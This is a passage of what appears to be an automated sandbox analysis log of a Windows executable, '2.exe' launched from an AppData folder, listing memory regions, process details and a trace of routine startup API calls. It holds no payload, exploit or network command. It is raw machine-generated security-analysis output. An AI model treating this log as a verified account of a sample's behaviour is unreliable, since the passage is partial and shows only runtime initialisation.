"{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1096 start_va = 0x74860000 end_va = 0x748cffff entry_point = 0x74860000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll") Region: id = 1097 start_va = 0x74840000 end_va = 0x74858fff entry_point = 0x74840000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 1098 start_va = 0x250000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1099 start_va = 0x2890000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x0000000002890000" filename = "" Region: id = 1100 start_va = 0x74830000 end_va = 0x7483afff entry_point = 0x74830000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 1101 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1102 start_va = 0x74820000 end_va = 0x74829fff entry_point = 0x74820000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\SysWOW64\\slc.dll" (normalized: "c:\\windows\\syswow64\\slc.dll") Region: id = 1103 start_va = 0x75060000 end_va = 0x7509afff entry_point = 0x75060000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1104 start_va = 0x750a0000 end_va = 0x750b5fff entry_point = 0x750a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1105 start_va = 0x747a0000 end_va = 0x74817fff entry_point = 0x747a0000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1106 start_va = 0x74af0000 end_va = 0x74af8fff entry_point = 0x74af0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Thread: id = 50 os_tid = 0x9f4 Thread: id = 52 os_tid = 0xa10 Thread: id = 54 os_tid = 0xa1c Thread: id = 56 os_tid = 0xa28 Process: id = "11" image_name = "2.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe" page_root = "0x217c2000" os_pid = "0x9f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x904" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 897 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 898 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 899 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 900 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 901 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 902 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 903 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 904 start_va = 0xcf0000 end_va = 0xd21fff entry_point = 0xcf0000 region_type = mapped_file name = "2.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe") Region: id = 905 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 906 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 907 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 908 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 909 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 910 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 911 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 912 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 913 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 914 start_va = 0x3a0000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 915 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 916 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 917 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 918 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 919 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 920 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 921 start_va = 0x4f0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 922 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 923 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 924 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 925 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 926 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 927 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 928 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 929 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 930 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 931 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 932 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 933 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 934 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 935 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 936 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 937 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 938 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 939 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 940 start_va = 0x5f0000 end_va = 0x777fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 941 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 942 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 943 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 944 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 945 start_va = 0x780000 end_va = 0x900fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 946 start_va = 0xd30000 end_va = 0x212ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 947 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 948 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Thread: id = 51 os_tid = 0x9fc [0059.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cfba4 | out: lpSystemTimeAsFileTime=0x2cfba4*(dwLowDateTime=0xa59fd070, dwHighDateTime=0x1d4800f)) [0059.759] GetCurrentThreadId () returned 0x9fc [0059.759] GetCurrentProcessId () returned 0x9f8 [0059.759] QueryPerformanceCounter (in: lpPerformanceCount=0x2cfb9c | out: lpPerformanceCount=0x2cfb9c*=1812395500000) returned 1 [0059.760] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0059.760] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.760] GetLastError () returned 0x57 [0059.760] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.760] GetLastError () returned 0x57 [0059.760] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0059.761] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0059.761] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.761] GetLastError () returned 0x57 [0059.761] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0059.761] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0059.762] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.762] GetLastError () returned 0x57 [0059.762] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.762] GetLastError () returned 0x57 [0059.762] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0059.762] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0059.763] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.763] GetLastError () returned 0x57 [0059.763] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0059.763] GetLastError () returned 0x57 [0059.763] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0059.763] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0059.763] SetLastError (dwErrCode=0x57) [0059.765] GetStartupInfoW (in: lpStartupInfo=0x2cfad8 | out: lpStartupInfo=0x2cfad8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xcf33e0, hStdOutput=0x5f875062, hStdError=0xfffffffe)) [0059.765] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0059.765] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0059.765] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0059.765] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe\" " [0059.765] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe\" " [0059.765] GetACP () returned 0x4e4 [0059.765] IsValidCodePage (CodePage=0x4e4) returned 1 [0059.765] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x2cfaf8 | out: lpCPInfo=0x2cfaf8) returned 1 [0059.765] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x2cf3c0 | out: lpCPInfo=0x2cf3c0) returned 1 [0059.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf9d4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.765] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf9d4, cbMultiByte=256, lpWideCharStr=0x2cf158, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0059.765] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x2cf3d4 | out: lpCharType=0x2cf3d4) returned 1 [0059.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf9d4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf9d4, cbMultiByte=256, lpWideCharStr=0x2cf108, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0059.766] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.766] GetLastError () returned 0x57 [0059.766] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringEx") returned 0x75ab47f1 [0059.766] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0059.766] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x2ceef8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0059.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x2cf8d4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x4a\xf1\x7b\x5f\x10\xfb\x2c", lpUsedDefaultChar=0x0) returned 256 [0059.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf9d4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0059.766] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2cf9d4, cbMultiByte=256, lpWideCharStr=0x2cf128, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 